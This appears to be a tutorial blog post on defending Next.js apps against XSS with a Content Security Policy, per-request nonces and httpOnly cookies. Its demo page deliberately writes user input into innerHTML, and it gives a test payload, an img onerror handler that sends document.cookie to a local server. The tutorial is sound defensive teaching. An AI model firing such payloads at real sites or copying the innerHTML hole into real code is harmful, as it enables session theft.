Preventing XSS in NextJS with CSP and Nonce
Introduction
- Content Security Policy (CSP) is an additional security layer that helps detect and mitigate certain types of attacks, including Cross-Site Scripting (XSS) and data injection attacks. By defining the content sources (scripts, styles and images) allowed to execute, CSP prevents the browser from loading malicious resources from unknown sources, thereby protecting user data proactively.
- Nonce (Number used once) is a random string generated for each request and attached to the script tag. When CSP is configured with this nonce value, the browser only executes script blocks with a nonce attribute matching the value in the CSP header. The greatest advantage of Nonce is allowing the safe execution of inline scripts without opening the browser to all malicious scripts, balancing convenience and high security.
- When using Nonce, a random value must be generated and attached to the header to distinguish between our website's scripts and hacker scripts, which introduces a major drawback: it disables the website's caching capability. Therefore, you can consider applying a hybrid strategy to use nonces only for important pages with high security requirements, while normal public pages do not need them to utilize efficient data caching.
Prerequisites
This article continues the content on XSS prevention. If you do not have information about XSS, please review the previous article for relevant knowledge before proceeding.
Detail
Recalling the cookie concept, the following code demonstrates assigning a cookie to a response:
@Controller('auth')
export class AuthController {
constructor(private authService: AuthService) {}
@Post('login')
async login(
@Body() body: LoginDto,
@Req() request: express.Request,
@Res({passthrough: true}) response: express.Response
) {
const token = await this.authService.login(body, request)
response.cookie('token', token, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'lax',
})
return token
}
}
- The httpOnly: true part means the cookie will be automatically attached to the http request and cannot be retrieved via JavaScript code, which is the key factor in fighting XSS.
- If secure: true, it means the cookie is only sent over HTTPS, while false allows it over HTTP in dev environments.
- sameSite: as introduced in previous articles, a value of lax allows sending cookies during safe page navigation but disallows it for API calls, which is a factor for avoiding CSRF.
You can see that with proper configuration, cookie values cannot be stolen on the browser.
Thus, we can draw the following conclusions:
- Storing information in localStorage or sessionStorage helps you avoid CSRF risks because data between pages is independent and another website cannot retrieve data from your site's localStorage or sessionStorage.
- However, if your website has XSS issues, hackers can inject scripts to retrieve content from localStorage or sessionStorage for use and only using cookies with the httpOnly: true config can prevent this.
- Using cookies and configuring them correctly helps you avoid both XSS and CSRF.
So how should data be stored?
- Critical data related to users like JWT should be stored in cookies.
- Common data such as configuration info, carts and draft data can be stored in localStorage or sessionStorage.
Create the proxy.ts file:
import {NextResponse, type NextRequest} from 'next/server'
const isDev = process.env.NODE_ENV === 'development'
const secureRoutes = [
'/checkout',
'/settings',
'/configuration',
]
const whitelists = ['http://domain1.com', 'http://domain2.com'].join(' ')
export function proxy(request: NextRequest) {
const {pathname} = request.nextUrl
const isSecureRoute = secureRoutes.some(route => pathname.startsWith(route))
if (isSecureRoute) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64')
const cspHeader = `
default-src 'self';
script-src 'self' 'nonce-${nonce}' 'strict-dynamic' ${isDev ? "'unsafe-eval'" : ''};
style-src 'self' 'unsafe-inline';
object-src 'none';
connect-src 'self' ${whitelists};
frame-ancestors 'none';
img-src 'self' data:;
`
.replace(/\s{2,}/g, ' ')
.trim()
const headers = new Headers(request.headers)
headers.set('x-nonce', nonce)
headers.set('Content-Security-Policy', cspHeader)
const response = NextResponse.next({request: {headers}})
response.headers.set('Content-Security-Policy', cspHeader)
return response
}
const staticCspHeader = `
default-src 'self';
script-src 'self' 'unsafe-inline' ${isDev ? "'unsafe-eval'" : ''} ${whitelists};
style-src 'self' 'unsafe-inline';
object-src 'none';
connect-src 'self' ${whitelists};
frame-ancestors 'none';
img-src 'self' data:;
`
.replace(/\s{2,}/g, ' ')
.trim()
const response = NextResponse.next()
response.headers.set('Content-Security-Policy', staticCspHeader)
return response
}
export const config = {
matcher: [
'/((?!api|_next/static|_next/image|favicon.ico).*)',
],
}
- Here I will guide you through a hybrid method that only applies nonces to pages in secureRoutes, while other pages use CSP.
- If you only use CSP, you only prevent executing scripts from unauthorized external sources.
- If you use CSP+Nonce, you additionally prevent executing scripts injected by hackers.
- The CSP (Content Security Policy) configuration establishes a multi-layered defense system:
- XSS Protection: Achieved through the use of nonce and strict-dynamic.
- Clickjacking Protection: Handled via the frame-ancestors directive.
- Data Leakage Prevention: Managed through connect-src.
- Development Optimization: Configured by allowing unsafe-eval in Development mode (required for Next.js Hot Module Replacement/HMR), while automatically removing it in Production.
- Style Management: style-src requires unsafe-inline to allow UI libraries to dynamically inject style tags.
Create the app/csp-nonce/page.tsx file:
'use client'
import {Button, Card, Input} from 'antd'
import {useState} from 'react'
const Page = () => {
const [inputValue, setInputValue] = useState('')
const onSubmit = () => {
const welcomeElement = document.getElementById('welcome')
if (welcomeElement) {
welcomeElement.innerHTML = inputValue
}
}
return (
<div className="flex flex-col items-center justify-center min-h-screen bg-gray-100 p-6 gap-6">
<Card className="w-full max-w-2xl shadow-lg">
<div className="flex flex-col gap-4">
<Input.TextArea
rows={3}
value={inputValue}
onChange={e => setInputValue(e.target.value)}
placeholder="Type something..."
/>
<div id="welcome"></div>
<Button type="primary" onClick={onSubmit}>
Submit
</Button>
</div>
</Card>
</div>
)
}
export default Page
- You can see the code line using .innerHTML has many potential risks that may still be used in old libraries.
- If you use isomorphic-dompurify, it is easy to sanitize values effectively, but suppose your codebase is very large and your team missed this issue during review or this is a package installed in your project (so you cannot use isomorphic-dompurify or have time to review every package you use), what happens when the XSS vulnerability is exploited?
- You can use the following value in the input box to test cases:
<img src=x onerror="console.log('cookie', document.cookie); fetch('http://localhost:4000/test/json?cookie='+document.cookie)"> - This example is used to add an
imgtag to the DOM, but becausesrc=xis undefined, it will execute the code within theonerrorattribute.
You could check nonce in header
If a normal website does not have CSP+Nonce, it will execute immediately, steal data and call an API to send it to another server.
If only CSP is used, it can block sending data to other hosts, but the script still executes.
If you use both CSP+Nonce, it will be perfectly blocked and no malicious code will be executed.
Happy coding!
Comments
Post a Comment